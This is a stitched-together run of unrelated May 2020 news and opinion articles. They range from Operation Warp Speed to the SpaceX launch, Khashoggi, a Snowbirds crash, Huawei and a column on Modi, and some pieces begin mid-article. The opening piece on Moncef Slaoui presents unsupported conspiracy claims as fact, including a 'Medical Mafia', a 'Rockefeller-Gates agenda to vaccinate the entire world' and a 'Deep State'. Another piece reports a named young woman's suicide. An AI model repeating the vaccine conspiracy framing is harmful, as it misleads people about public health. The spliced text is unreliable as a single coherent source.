According to the Trump administration, Operation Warp Speed program is focusing on four vaccines, with the hopes of testing and producing 100 million doses by October 2020, 200 million by December, and 300 million doses by January. At Fridays press conference, Slaoui said he believes the goal of vaccines by January 2021 is a credible goal. Secretary of Defense Mark Esper was more adamant, stating that, winning matters and we will deliver, by the end of this year, a vaccine.

Operation Warp Speed and the calls for public-private partnerships mimic the National Institutes of Healths recent call for bringing together pharmaceutical companies to develop a vaccine for COVID-19. The NIH plan, Accelerating COVID-19 Therapeutic Interventions and Vaccines (ACTIV) partnership, emphasizes a collaborative framework for prioritizing vaccine and drug candidates, streamlining clinical trials, coordinating regulatory processes and/or leveraging assets among all partners to rapidly respond to the COVID-19 and future pandemics.

The appointment of Slaoui follows previous statements regarding Trumps desire to have vaccines available to Americans by the fall. I think were going to have a vaccine by the end of the year, and I think distribution will take place almost simultaneously because weve geared up the military, Trump said Thursday afternoon. Trump also told the Fox Business Network that because of the massive job to give this vaccine the military is now being mobilized. Were going to be able to give it to a lot of people very, very rapidly, Trump concluded.

At Fridays press conference Trump said his team has been working 24 hours a day to develop treatments for COVID-19. Despite the heavy focus on vaccines, Trump did state that his administration is working on other treatments, including therapeutics. Its not solely vaccine based, other things have never had a vaccine and they go away. I dont people to think this is all dependent on a vaccine, but it would be tremendous, Trump stated.

However, the appointment of Dr. Slaoui is an indication that the Trump administration approves of the former executives efforts to develop vaccines and his partnership with the Bill and Melinda Gates Foundation.

MONCEF SLAOUI AND THE BILL AND MELINDA GATES FOUNDATION

An examination of the career and connections of Dr. Moncef Slaoui reveals that Donald Trumps appointment of a Big Pharma executive is not a cause for celebration, but rather, another piece of the incestuous web connecting Bill and Melinda Gates and the Medical Mafia.

Dr. Moncef Slaouis official biography states:

Dr. Slaoui was a Professor of Immunology at the University of Mons, Belgium. He has authored more than 100 scientific papers and presentations. Dr. Slaoui earned a Ph.D. in Molecular Biology and Immunology from the University Libre de Bruxelles, Belgium and completed postdoctoral studies at Harvard Medical School and Tufts University School of Medicine, Boston.

Following his education, Slaoui joined the pharmaceutical industry, serving on the board of Directors of GlaxoSmithKline between 2006 through 2015. Slaoui served in several senior research & development (R&D) roles with GlaxoSmithKline during his time with the company, including Chairman of Global Vaccines. GSK has a history of working with the Bill and Melinda Gates Foundation on projects such as the development of a malaria vaccine and anti-HIV compounds used as microbicides. In fact, Dr. Slaoui worked for 27 years on the malaria vaccine, ultimately partnering with the Bill and Melinda Gates Foundation to develop a $600 million malaria vaccine. When Slaoui took over at GSK, his predecessor, Tachi Yamada, joined the Bill and Melinda Gates Foundation.

More recently, Slaoui sits on the boards of pharmaceutical companies and biotechnology organizations. He is also partner at MediciX investment firm, chairman of the board at Galvani Bioelectronics, chairman of the board at SutroVax and sits on the boards of Artisan Biosciences, Human Vaccines Project and Moderna Therapeutics. Each of these companies is involved in vaccine development and the emerging field of bioelectronics.

Galvani Bioelectronics was formed out of an agreement with Verily Life Sciences LLC (formerly Google Life Sciences), an Alphabet company, and GSK. The goal is to enable the research, development and commercialisation of bioelectronic medicines.

Bioelectronic medicine is a relatively new research field focused on tackling chronic diseases by using miniaturised, implantable devices that can modify electrical signals that pass along nerves in the body, including irregular or altered impulses that occur in many illnesses. GSK has been active in this field since 2012 and has stated that chronic conditions such as arthritis, diabetes and asthma could potentially be treated using these devices. GSK called the partnership an important step in their research of bioelectronics. GSK stated that if they are successful at using advances in biology and technology to correct the irregular patterns found in disease states, using miniaturised devices attached to individual nerves, this method would be a new therapeutic modality alongside traditional medicines and vaccines.



Galvanis plan to use miniature implantable devices within the body was described by MIT Technology Review as hacking the nervous system. In 2016, Slaoui said, We hope to have approval and be in the marketplace in the next seven to 10 years. Its not science fiction. And its progressing quite well.

In 2016, Slaoui was appointed to the Board of Directors of Moderna Therapeutics, a biotech company that is leading the way for messenger RNA (mRNA) therapeutics and vaccines. TLAV writer Whitney Webb recently reported on Moderna Therapeutics joining the fight against COVID-19:

The Coalition for Epidemic Preparedness Innovations (CEPI) announced that it would fund three separate programs in order to promote the development of a vaccine for the new coronavirus responsible for the current outbreak. CEPI  which describes itself as a partnership of public, private, philanthropic and civil organizations that will finance and co-ordinate the development of vaccines against high priority public health threats  was founded in 2017 by the governments of Norway and India along with the World Economic Forum and the Bill and Melinda Gates Foundation. Its massive funding and close connections to public, private and non-profit organizations have positioned it to be able to finance the rapid creation of vaccines and widely distribute them. CEPIs recent announcement revealed that it would fund two pharmaceutical companies  Inovio Pharmaceuticals and Moderna Inc.  as well as Australias University of Queensland, which became a partner of CEPI early last year. Notably, the two pharmaceutical companies chosen have close ties to and/or strategic partnerships with DARPA and are developing vaccines that controversially involve genetic material and/or gene editing. The University of Queensland also has ties to DARPA, but those ties are not related to the universitys biotechnology research, but instead engineering and missile development.

Webb goes on to detail how Moderna is working with the U.S. NIH to develop a vaccine for the new coronavirus and how the project will be entirely funded by CEPI, which in turn was founded and funded by the Bill and Melinda Gates Foundation. Modernas vaccine is a controversial messenger RNA (mRNA) vaccine which was developed with a $25 million grant from the Defense Advanced Research Project Agency (DARPA).

Modernas past and ongoing research efforts have included developing mRNA vaccines tailored to an individuals unique DNA as well as an unsuccessful effort to create a mRNA vaccine for the Zika Virus, which was funded by the U.S. government, Webb reported.

To recap: Donald Trump has appointed Dr. Moncef Slaoui to head Operation Warp Speed, his effort to fast track the development of COVID-19 vaccines and other therapeutics. Slaoui has worked in the pharmaceutical industry on vaccine development for decades. Several companies he has worked with or sits on the Board of Directors are funded in part by the Bill and Melinda Gates Foundation. One of these companies, Moderna, is conducting research on RNA vaccines in partnership with the U.S. governments creepiest organization, DARPA.

Once again, this should be an indication that Donald Trump is continuing to push the agenda of Big Pharma.

WILL THE VACCINE BE MANDATORY?

Despite the launch of Operation Warp Speed, the appointment of a Big Pharma Executive, and the calls for military involvement in distribution of vaccines, some Trump supporters still maintain that Donald J. Trump is not a part of the Rockefeller-Gates agenda to vaccinate the entire world. However, Trumps action tell another story.

Although Trump questioned the safety of vaccinations as far back as 2014, since becoming President he has towed the party line. In April 2019, while questioned about alleged outbreaks of measles and whether or not he supports Americans right to opt out of the MMR vaccine, Trump stated that Americans have to get the shots. The vaccinations are so important. Trump concluded with the support of mandatory vaccinations: This is really going around now. They have to get their shots.

We do acknowledge that Donald Trump has made several statements  including during Fridays press conference  indicating that he is not currently planning to call for mandatory vaccinations of all Americans. However, rather than hanging on the words of the president as if they are gospel, we should judge the man by his actions. When looking at Trumps actual actions  not his tweets  its clear that he has not drained the swamp, but has instead, filled it with familiar Deep State bureaucrats pushing an agenda of their own. The individuals involved in this agenda do not have the best interests of Americans in mind.
Quarantine in Ukraine: Most companies may need up to 12 months to recover

15:30, 22.05.20 458

At the same time, 62% of the respondents said their companies had managed to keep their employees' pay unchanged.
Cape Canaveral: The two astronauts who will end a nine-year launch drought for NASA arrived at Kennedy Space Center on Wednesday (US time), exactly one week before their historic SpaceX flight.

It will be the first time a private company, rather than a national government, sends astronauts into orbit.

NASA test pilots Doug Hurley and Bob Behnken flew to Florida from their home base in Houston aboard one of the space agency's jets.

A SpaceX Falcon 9 rocket with the company's Crew Dragon spacecraft is rolled out of the horizontal integration facility at Launch Complex 39A at NASA's Kennedy Space Center in Cape Canaveral, Florida. Credit:AP

"It's an incredible time for NASA and the space program, once again launching US crews from Florida and hopefully in just a week from about right now," Hurley told reporters minutes after arriving.
Fidelity Bank announced a $30,000 donation to the Worcester Together fund on Friday.

The fund, which was launched by the Greater Worcester Community Foundation and the United Way of Central Massachusetts in cooperation with the city of Worcester, is meant to address needs caused by the coronavirus. The fund has helped addressed issues such as food, shelter, health, economic, nutrition, mental health and arts and culture.

So far more than $6.7 million has been raised to help non-profits.

We all must respond to the needs of our community during a crisis such as the COVID-19 pandemic, Fidelity Bank Chairman and CEO Edward F. Manzi Jr. said in a statement. Its part of Fidelity Banks promise of being a caring bank that supports our community, clients, and colleagues.

Of the $6.7 million raised so far, more than $2 million has been awarded to 111 nonprofits in the Worcester area that are responding to needs resulting from the coronavirus pandemic. Grants range from $5,000 to $50,000 and are decided by an oversight committee.

The donation comes from Fidelity Banks LifeDesign Community Dividend, which donated more than $330,000 to more than 250 worthy organizations in Central Massachusetts last year. Fidelity Bank has given out more than $2 million since the dividend program was formally named in 2013.

Fidelity Banks generous donation to Worcester Together reflects their commitment to our community and the people who live here, President and CEO of the Greater Worcester Community Foundation Barbara Fields said in a statement. The banks corporate civic leadership is especially important, and appreciated, during these challenging times.

Anyone interested in contributing to the Worcester Together fund can do so at www.greaterworcester.org and www.unitedwaycm.org.

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The family of slain Saudi Washington Post columnist Jamal Khashoggi has forgiven his killers, Khashoggis son Salah said today. This now allows those convicted in the killing to escape the death penalty, but criticisms continue of Saudi Arabias handling of the ordeal.

We, the sons of the martyr Jamal Khashoggi, announce that we forgive those who killed our father, the young Khashoggi said in a statement posted to Twitter.

Khashoggi, a notable dissident and author, was murdered in 2018 after entering the Saudi Consulate in Istanbul to do some paperwork related to his engagement to a Turkish woman. He was a vocal critic of the Saudi government and its de facto leader Crown Prince Mohammed bin Salman.

A United Nations report last year determined that the Saudi state carried out a deliberate execution of Khashoggi. The incident created a massive international backlash against Saudi Arabia and Prince Mohammed.

The familys forgiveness now means that those convicted of Khashoggis murder can be reprieved from their death sentence, Reuters reported. Saudi law allows punishment by death to be excused if the victim's family forgives the perpetrators.

The prosecution of those responsible for Khashoggis death has been criticized from the beginning. A Saudi court sentenced five people to death and imprisoned three others over the killing in December. However, the head of the Saudi Consulate in Istanbul was not convicted, which one UN official called an antithesis of justice.

Khashoggis killing has also been taken up by members of Congress, who have sought to condition aid to Saudi Arabia.
Snowbirds Commander Says That to Shut Down Program Would Be Tragic

Lt.-Col. Mike French and Capt. Jennifer Casey were soaring through the air, trying to bring hope to an anxious and fearful country with each dip and dive of their airplane.

French, commander of the Snowbirdsthe official aerobatic team of the Royal Canadian Air Forcesays he and Casey belted out Tragically Hip songs as they flew through the air, performing well-practised manoeuvres with the tight-knit team just last week.

Casey was an integral part of creating the teams Operation Inspiration tour for a country otherwise gripped by the COVID-19 pandemic, French says. And he still cant believe it ended with her death.

Its been extremely difficult for everyone on the team, French told The Canadian Press. You want to go into a period of seclusion and selfreflection.

Casey, a 35-year-old military public affairs officer, died on May 17 after ejecting from a Snowbirds jet before it went down in a residential area of Kamloops, B.C. The pilot, Capt. Richard MacDougall, survived.

It was the eighth fatal crash in the 50-year history of the Snowbirds. The last was in 2008. In 2019, a Snowbirds jet crashed in the United States but the pilot safely ejected.

First responders attend to a person on a rooftop at the scene of a crash involving a Canadian Forces Snowbirds airplane in Kamloops, British Columbia, Canada, on May 17, 2020. (Brendan Kergin/Castanet Kamloops/The Canadian Press via AP)

A team of military investigators is trying to determine the cause of Sundays crash but it has left many questioning whether its time to ground the team and its aging fleet.

For me, to imagine a Canada Day without the Snowbirds flying over the Peace Tower is just not possible, French says.

Ive grown up with the Snowbirds my whole life. And for me to picture them not being around would be tragic.

The home base of the Snowbirds is in Moose Jaw, Sask., where one of the teams retired planes floats on a pedestal next to a giant statue of the citys mascot, Mac the Moose.

The site has become a makeshift memorial to Casey, where people have left flowers. Residents are also organizing upcoming events to honour the team.

First responders carry an injured person on a stretcher across a fire truck ladder from a rooftop at the scene of a crash involving a Canadian Forces Snowbirds airplane in Kamloops, British Columbia, Canada, on May 17, 2020. (Brendan Kergin/Castanet Kamloops/The Canadian Press via AP)

The reputation of the Snowbirds has grown through performances at air shows across North America. The red, white and blue planes swirl through the sky in stunning formations, appearing unbelievably close to each other.

Flying above stadiums before Grey Cup games, racing through the sky during national ceremonies and stopping at local air shows from coast to coast has made the team a national symbol.

The Canadair CT-114 Tutor has a unique mix of engine control, balance and stability that gives it exceptional manoeuvrability, and is pure bliss, French says.

The plane, which was used by the Forces as a jet trainer until 2000, is largely out of use in the aviation world. The jets were to be retired in 2010, but that was later extended to 2020.

French says its hard to explain the impact the Snowbirds have on Canada.

The team is in a way an inspiration program, he says, encouraging children who see the planes rip through the sky to chase their own dreams.

French was one of those kids who rushed to see air shows in Abbotsford, B.C., and waited around to get autographs from pilots. It led him into the military, where he became a F-18 fighter pilot and a Snowbirds trainer.

Hes in his third year as commanding officer of the Snowbirds. Every member is a highly-trained Forces member who competed for their position, French says.

Most of the year, team members spend all their time together practising routines, then touring across the country. They are more than colleagues, French says. They are family.

It also takes a very dedicated person who truly believes in the teams mission to become a Snowbird, French says. And Casey fit in immediately.

The former journalist joined the military as a direct entry officer in 2014. She worked with the CF-18 demo team before joining the Snowbirds in 2018.

French says the first time Casey went up in the air with the Snowbirds, it was clear she was the right fit for the team.

She was always three steps ahead of what anybody needed. She was creative, kind and hardworking.

She was one of those people that you just love working with. She raised everybodys game, French says.

Casey was one of the main reasons that Operation Inspiration was being perceived so well by Canadians. It was her drive and her determination to get us out there.

By Kelly Geraldine Malone
Fasten your seatbelts, travelers. We are in for a bumpy ride. Travel as we know it is going to be a lot different over the next year or so as the world awaits a vaccine or some other breakthrough to rid us of the coronavirus and reopen our travel horizons.

AIRLINE ISSUES: Airlines continue to struggle as COVID-19 crushes business

Overall, the travel industry, which has ballooned in recent years as the world economy expanded, is going to become much, much smaller in the near term. Airline ticket prices will likely soar. Weekend jaunts to faraway places will fly away. Getting through the airport is going to take longer, and require much more patience than before. Hotel stays will become dull, utilitarian and depressing with guests and staff hiding smiles behind masks. Hotels will also become more expensive. Joyful meals in popular, crowded restaurants? Nope. International travel? As residents of the country with the largest COVID-19 outbreak in the world, Americans are going to have a tough time finding a warm welcome in other countries for a while. Big company events and boondoggles where you can schmooze with clients and colleagues? Off the table for at least a year.

While it's nice to dream of breaking free of stay-at-home orders with big, glossy trips far and wide, the reality is going to be more prosaic. I don't foresee anything close to what we experienced in 2019 for at least three years or longer. As a matter of fact, for the next couple years I think the travel experience is going to be more like what we saw in the 1970s.

First off, travel is going to become much more expensive. Airlines, hotels and rental car companies are not going to be able to discount their way out of this crisis.

In order to comply with social-distancing rules, which are here to stay as long as there is no vaccine to prevent COVID-19, airlines are reducing capacity on each flight by not booking middle seats. What happens when a third of a company's inventory is no longer available? Basic economics says that when you reduce supply, prices will increase. Demand for airline seats will come back slightly, but it's not going to pop back to pre-COVID-19 levels until there's a proven vaccine and fliers don't have to worry about sharing arm rests or cabin air any longer. In order to survive until then, airlines are going to have to raise prices significantly on the few flights left operating. Their mothballed fleets will stay mothballed until demand comes back. We are already starting to see this play out... tried booking a holiday 2020 trip yet? A quick scan shows that it's not cheap.

Significantly fewer travelers means that getting through the airport screening process should be faster, but it won't until there's a vaccine. In addition to screening for bombs or knives, we will soon face a whole new layer of health screening. Like we've already seen in Dubai, passengers could have to submit to rapid coronavirus tests at the airport. Or passengers will have to get screened beforehand and arrive at the airport with a "health passport." Temperature checks will become mandatory. Some airports are already talking about disinfecting passengers with chemical sprays or beams of UV light.

Who wants to put up with all that? These airport hassles mean that only travelers with serious business on the other end are going to put up with flying  this will be people going to visit sick or dying relatives, technicians needed to keep machinery humming, medical or scientific professionals and the like. Planeloads of kids headed to Europe for singing tours, or seniors jetting off to catch a cruise lined up at airport security? Frequent flyers taking "mileage runs?" We won't see any of that until there's a vaccine.

Moxy Hotels

Hotels have spent billions over the last decade turning lobbies into social spaces where travelers can eat, drink, work and interact with each other. Now they are going to have to spend millions to modify those spaces to protect guests. They will also have to discourage use of public spaces until there's a vaccine, which means guests sheltering in their "sanitized for your protection" -style rooms. And who wants to do that?

Big hotels will also have to reduce capacity  by booking only certain floors or every other room down a corridor. And imagine the problems high-rise hotels will have around social distancing on elevators? Ugh. Hotel pools are going to be another tough area for social distancing with fewer chairs spaced further apart, and rules such as allowing only one person in the pool at a time.

REOPENING WEEKEND: Heres how Houstonians celebrated Phase One this weekend

As we all measure our personal risk tolerance for travel, I think vacations are going to look a lot like they did in the 1970s when I was a kid. Airline ticket prices were prohibitive for families eager for a summer vacation. And planes flew about 60 percent full. Instead of flying, back then we loaded up the station wagon and headed to the beach, the mountains or the lake for two weeks every summer.

That usually meant a day-long drive to somewhere in our state or a neighboring state. That's what I think we will seen this summer and next summer, too. Vacations by car close to home. And instead of heading off to big resorts or amusement parks or national parks, we will book Airbnbs or VRBOs with big yards and backyard pools or private beach or lake access. Family trips by RV, relatively sealed off from other vacationers, will be popular. And like the 1970s, cheap gasoline is going to fuel the resurgence of the road trip.

There is a bright side to this murky outlook, however. Most major tourist destinations have suffered massively from over-tourism in recent years, which has frustrated locals, degraded the experience for travelers, and ruined many cherished destinations. Think of the coral reefs ruined by suntan lotion, hillsides strewn with trash, plastic and sewage seeping into waterways from overtaxed systems or wildlife bothered into near extinction. For about two more years, the worldwide tourist economy, which has been pushed to its limits, will get a much-needed rest.

Read all recent TravelSkills posts here

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Coronavirus pandemic politics shadowed President Donald Trumps trip to Michigan on Thursday as he highlighted lifesaving medical devices, with the president and officials from the electoral battleground state clashing over federal aid, mail-in ballots and face masks.

Trump visited Ypsilanti, outside Detroit, to tour a Ford Motor Co. factory that had been repurposed to manufacture ventilators, the medical breathing machines governors begged for during the height of the COVID-19 pandemic.

But his visit came amid a long-running feud with the states Democratic governor and a day after the president threatened to withhold federal funds over the states expanded vote-by-mail effort. And, again, the president did not publicly wear a face covering despite a warning from the states top law enforcement officer that a refusal to do so might lead to a ban on his return.

All of the Ford executives giving Trump the tour were wearings masks, the president standing alone without one. At one point, he did take a White House-branded mask from his pocket and claim to reporters he had worn it elsewhere on the tour, out of public view.

I did not want to give the press the pleasure of seeing it, Trump said.

For a moment, he also teasingly held up a clear shield in front of his face. A statement from Ford said that Bill Ford, the companys executive chairman, encouraged President Trump to wear a mask when he arrived and said the president wore it during a private viewing of three Ford GTs from over the years before removing it.

The United Auto Workers union noted in a statement that some in his entourage declined face masks and said it is vitally important that our members continue to follow the protocols that have been put in place to safeguard them, their families and their communities.

The UAW also noted Trumps statement that he had just been tested for the virus and said it wanted to make sure he understood the wider need for an economical instant test that can be administered daily to further protect our members -- and all Americans.

Michigan Attorney General Dana Nessel said that mask wearing isnt just Fords policy but its also the law in a state thats among those hardest hit by the virus. Nessel said that if Trump refused to wear a mask Thursday hes going to be asked not to return to any enclosed facilities inside our state and were going to have to take action against any company that allows it in the future.

Trump has refused to wear a face mask in public, telling aides he believes it makes him look weak, though it is a practice that federal health authorities say all Americans should adopt to help slow the spread of the virus.

Ford said everyone in its factories must wear personal protective equipment, including masks, and that its policy had been communicated to the White House. At least two people who work in the White House and had been physically close to Trump recently tested positive for the virus.

The Republican president and Gov. Gretchen Whitmer have clashed during the coronavirus outbreak over her criticism of the federal response to the states needs for medical equipment, like ventilators, and personal protective gear, such as gloves, masks and gowns. Trump on Thursday criticized Democratic governors, suggesting they were proceeding too slowly in reopening their states economies.

You have a lot of, unfortunately, in this case Democrat governors (who) think its good politics to keep it closed, Trump said. I think theyre being forced to open, frankly, the people want to get out. Youll break the country if you dont.

The day before, Trump threatened to withhold federal funds from Michigan after its secretary of state mailed absentee ballot applications to millions of voters. Trump first tweeted  falsely  that the Democratic state official had mailed absentee ballots to Michigan voters. He later sent a corrected tweet specifying that applications to request absentee ballots had been mailed and seemed to back off his funding threat.

Trump narrowly won Michigan in 2016. He insists mail-in voting is ripe for fraud, although there is scant evidence of wrongdoing.

We dont want them to do mail in ballots because its going to lead to total election fraud, Trump said Thursday. But then he allowed for some exceptions, including for himself.

Now, if somebody has to mail it in because theyre sick, or by the way because they live in the White House and they have to vote in Florida and they wont be in Florida. But theres a reason for it, thats OK.

Trying to signal to the nation that life is returning to normal, the president has begun traveling again, with all of his initial trips to states that will be hotly contested in this Novembers election. Campaign advisers have grown increasingly worried about Michigan, believing that the presidents attacks on Whitmer have not worked and that the toll the virus has taken in the Detroit area, particularly among African Americans, will prove costly politically.

Trump, at a roundtable with African American supporters in front of a sign with his slogan for reopening the economy, Transition to Greatness, noted low minority unemployment numbers before the pandemic and also pointed to his administrations work on criminal justice reform.

The presidents advisers have become convinced that of the three Rust Belt states that Trump took from Democrats in 2016, Michigan would be much more difficult to win again than Pennsylvania and, especially, Wisconsin.

In the early days of the crisis, Whitmer and other governors and medical workers clamored for ventilators, fearing a shortage of the machines would prove deadly as the virus made breathing difficult for the scores of afflicted patients who were being brought to hospitals.

But the U.S. now has a surplus of the breathing machines, leading Trump to begin describing the U.S. as the king of ventilators.

Whitmer did not accompany Trump during the visit.

We do not have plans to meet, but I did speak with him yesterday on the phone, Whitmer told CBS This Morning on Thursday. I made the case that, you know, we all have to be on the same page here. Weve got to stop demonizing one another and, really, focus on the fact that the common enemy is the virus.

Related Content:
A former Miss Universe New Zealand finalist has taken her own life aged just 23.

Amber-Lee Friis from Auckland passed away suddenly on Monday, the Miss World New Zealand Facebook page confirmed.

'All of us at Miss World NZ are dreadfully sad on hearing this,' the page posted on Monday.

Amber-Lee Friis from Auckland passed away suddenly on Monday, the Miss World New Zealand Facebook page confirmed

At 21-years old, Friis was a Miss Universe NZ finalist in 2018 and travelled to Thailand as part of the competition

Tributes have begun to flow for the young woman who was described as 'beautiful inside and out'

'Amber absolutely turned her contestant journey around, after an early 'wobble' she ended up as one of the most positive and supportive contestants we had in the 7 years we held the MU licence.'

'She overcame so much to join us in the first place and she won our admiration and respect from the get-go.'

At 21-years old, Friis was a Miss Universe NZ finalist in 2018 and travelled to Thailand as part of the competition.

Miss World New Zealand CEO Nigel Godfrey described her as 'feisty', 'genuine', and said 'her heart was most definitely in the right place'.

'We liked and respected her and were very proud to call her a friend, long after the competition had finished. Amber Lee turned her life, and indeed her experience with us around, and into an incredibly positive force for good,' Mr Godfrey wrote.

Just a day before the tragedy, Ms Friis had posted a photo with her sister to her Facebook page.

Tributes have begun to flow for the young woman from her friends.

'Rest In Peace Amber-Lee, you are so loved by so many people,' one person wrote to her Facebook page.

'Beautiful inside and out Ambier!! Thank you for always being a genuinely kind and loving friend' another said.

'Rest in peace you Beautiful girl, I cherish every moment I spent with you till we see each other again,' added a third.

Ms Friis had previously revealed how she had been relentlessly bullied at school before she turned her life around.

During her school days, Ms Friis said her classmates called her 'Chimoan' because of her tanned skin and slanted eyes.

Ms Friis also had a difficult upbringing outside of school, saying there were some nights where there was no dinner to put on the table.

Ms Friis was one of 20 finalists for the Miss Universe New Zealand competition in 2018

Miss World New Zealand CEO Nigel Godfrey described her as 'feisty', 'genuine', and said 'her heart was most definitely in the right place'

She said in 2018 with her tattoos and ear stretcher she 'never expected in a million years' she would be in the running for a beauty pageant

'I remember sitting in my room one night and thinking how hard life could be. At a young age you feel the world is weighing on your shoulders.' Ms Friis told Stuff.

At just 15-years-old she moved in with her then boyfriend and studied mechanics while working at a pizza hut.

As her weight spiralled out of control, she tipped the scales at 96kg by the age of 16.

'I had a negative outlook on everything. I pictured myself as being an angry, fat, old lady but then I thought: This is not what I want to be like,' she said.

Determined to get back on top of her weight once and for all, she joined a gym - and within six months, she slimmed down to her toned figure.

She said in 2018 with her tattoos and ear stretcher she 'never expected in a million years' she would be in the running for a beauty pageant.

New Zealand Police confirmed they attended a sudden death on Monday and the case has been referred to the Coroner.

Ms Friis was represented by The Talent Tree model agency who said they were 'devastated' by the young woman's passing.

'We've lost a beautiful young lady who is going to be sorely missed,' said owner Tracey-Maree Houia.

If you need help call Lifeline on 13 11 14 in Australia or 0800 543 354 in New Zealand for confidential support.

Friends have remembered Ms Friis as a 'genuinely kind and loving friend'
Huawei is the company suffering the most amidst the tussle between the US and China. It can no longer ship new smartphones with the Google certified Android OS which includes Google Mobile Services (GMS). The company is using the AOSP version of Android and has replaced GMS with its own Huawei Mobile Services (HMS). Now, Huawei claims to have over 1.5 million registered developers with a year-on-year growth of 115 percent.

According to Tan Donghui, Vice President of Huawei Consumer Business Group, Huawei Mobile Services has seen a huge spike in developer registrations in recent months.

In addition, the number of monthly active users of Huaweis terminal cloud services has reached 650 million. With a year-on-year growth of 66.7 percent, the number of applications on the AppGallery linked to HMS Core has now crossed 60,000.

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Huawei Mobile Services Has Seen A Rise In Developer Registrations

The AppGallery on the new Huawei and Honor smartphones is a direct replacement for the Google Play Store. While the numbers look impressive, there are still many top Android apps missing from the AppGallery. Despite this, Huawei has succeeded in replacing some of the essential apps.

While Huawei is the third largest global smartphone brand, the App Gallery has now become the third largest app marketplace in the world.

Huawei claims the AppGallery is now available in more than 170 countries. On the other hand, the company also seems to be developing HarmonyOS as an alternative to Googles Android and Apples iOS.

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Can users live without Google apps?

Since the Google apps are banned in China anyway, the lack of GMS will not affect the companys business in its home country. Last year, Huawei announced its plan to invest $1.5 billion to help increase developer registrations.

It also came up with a $1 billion fund for the Shining-Star program. This fund will be used to bring a wider range of apps to HMS.

The Mate 30 series running on AOSP version of Android 10 is the first smartphone to come equipped with HMS. Even the recently launched flagship Huawei P40 series also came without the Google apps.

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Alongside the new smartphones, Huawei is also relaunching older smartphones that have been certified by Google with the GMS services.

The latest ruling from the US has made it even more difficult for Huawei. It can no longer work with companies that use US-made machinery and software. TSMC, which produces the Kirin chipsets for Huawei, has stopped accepting new orders.

However, the orders accepted before the new rule change have to be honored. While it wont have an impact on the Huawei upcoming products, TSMC can no longer produce new Kirin chipsets for Huawei.
Source: Xinhua| 2020-05-22 05:33:34|Editor: huaxia

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LOS ANGELES, May 21 (Xinhua) -- Delta Air Lines and United Airlines are planning to restart passenger flights to China in June, according to a report by Metropolitan Airport News this week.

Delta intends to offer daily service to Shanghai Pudong from both its Detroit and Seattle-Tacoma hubs, subject to government approval, said the report.

OAG Schedules Analyser data shows flights from Detroit will begin on June 1 using Airbus A350-900 aircraft, with Seattle resuming the same day on board A330-900neo. The network additions mean the SkyTeam alliance member will operate 7,350 two-way weekly seats between the United States and China, according to the report.

Prior to the pandemic, Delta operated six routes between the two countries, linking Detroit and Seattle with Beijing and Shanghai as well as flying from Atlanta and Los Angeles to Shanghai, in total providing about 21,300 weekly seats, said the report.

The data shows United Airlines is also planning to restart U.S.-China flights. From June 4, the Star Alliance member intends to fly daily to Shanghai Pudong from San Francisco and New York Newark. Daily service between San Francisco and Beijing will begin on the same day, according to the report.

United operated nine routes between the United States and China prior to the COVID-19 outbreak, providing more than 32,000 two-way weekly seats, said the report. Enditem
'You can't make the poor rich overnight.'

'Nor can you fly millions in planes.' 'But remember that word: Empathy.'

'Who in the BJP is speaking in that language to these millions?'

'Someone putting an arm of understanding, warmth, comfort around them?', asks Shekhar Gupta.

IMAGE: Prime Minister Narendra Damodardas Modi chairs a meeting in New Delhi. Home Minister Amit Anilchandra Shah can be seen on the prime minister's right. Photograph: Press Information Bureau

The Narendra Damodardas Modi government has no rival in its 'change the headlines' approach to politics and the brilliance with which it can move.

The latest example is this 'Vande Bharat Mission'.

A new excitement has been conjured up in the most glum air.

Coronavirus has broken the back of economic activity the world over. Almost every country has large numbers of citizens employed abroad, and students, tourists, and families stuck across the world.

Most have run some operations to bring them back.

Only India has turned it into an event.

As you'd expect from the Modi playbook, an event like this has to have a headline and a hashtag.

Multiple ministerial handles have to tweet in celebration. The BJP's own IT machinery joins in. As indeed the television channels.

The friendlier channels have already started ball-by-ball coverage.

Here is an example: A plane takes off to rousing music. A celebration that some 781 Indians have already landed.

As if they are returning victorious after liberating Muzaffarabad or Skardu.

Ministers are applauding as an achievement.

As if they've been snatched back from the jaws of death. And if you think that isn't ridiculous enough, check out the series of stories we've been watching all day on the quarantine facilities being set up in slick hotels for these honoured returning children of India.

We are reminded that they will pay for these.

Because they can afford them. They are, after all, children of a greater god, which all Indians can't be.

There are just so many of us, 1.38 billion. Spare a moment for our poor Gods.

How can they bestow their favours upon so many of us? They pick the more deserving.

IMAGE: India's Ambassador in the United Arab Emirates Pavan Kapoor checks the medical screening process for returning Indian nationals under the Vande Bharat Mission at Abu Dhabi airport. Photograph: ANI Photo

This is something all of us Indians should cherish.

The government is bringing back so many good Indians on its planes, and setting them up in comfortable quarantine centres so they can go home safe for their families, friends, and neighbours.

The first time India has carried out such an incredible feat since Akshay Kumar single-handedly brought back the lakhs from occupied Kuwait in 1990.

This is the spirit of a modern, resurgent, India.

Teacher of the world, or Vishwa Guru. All of you join together, click your heels, and salute the spirit of 'Vande Bharat Mission'.

And never mind the minor matter of fellow Indians, maybe a hundred times more than these, walking back home a thousand miles away, on blistered feet, empty stomachs, no reception committees, welcome tweets, no quarantine homes, no trains or buses for 45 days while they may have been even willing to pay.

They are not the same.

If they were smarter, better-educated, blessed with better horoscopes, and more successful parents, why would they be hauling bricks and mortar at our construction sites? They'd be working or studying overseas.

If God didn't make all Indians equal, go fight with God. Meanwhile, celebrate this great national mission.

IMAGE: People evacuated from the Maldives, as part of the Samudra Setu Programme under the Vande Bharat Mission undergo temperature tests as they emerge from the Indian Navy's INS Jalashwa in Kochi. Photograph: PTI Photo

At this point we need to ask a question we wouldn't have imagined raising, and that too so early in this government's second term: Is Narendra Damodardas Modi losing his touch?

He hasn't reached this far, won two full majorities, and destroyed all opposition because he isn't smart.

He's the smartest politician we've seen since Indira Gandhi. And given that, unlike her, he came with no entitled legacy and is entirely self-made, probably ever in independent India's history.

His political brand is built on three key attributes, and I list these in the ascending order of importance: 1. Great oratory and messaging skills; 2. An aura of great personal power and decisiveness; and 3. The most important, the ability to identify with the common Indian so closely that the poorest Indians -- most of India's voters -- identify with him.

They prefer him because in him they see everything the Gandhis aren't.

Self-made, non-elite, working class (chaiwala), no privilege or fancy foreign education, simple, frugal lifestyle, empathy for the poor.

Underline that word, empathy. Because we will return to it soon.

IMAGE: Migrant families from various states arrive at the Lokmanya Tilak Terminus in north east Mumbai, May 20, 2020. Photograph: Kunal Patil/PTI Photo

Mr Modi has masterfully crafted his appeal as anti-elitist (read anti-dynasty), as one who has learnt about his country travelling and spending time in each one of its districts (something he takes deserved pride in) instead of elite campuses and Lutyens' parlours.

If he lost power, it won't bother him too much, he's been reminding us.

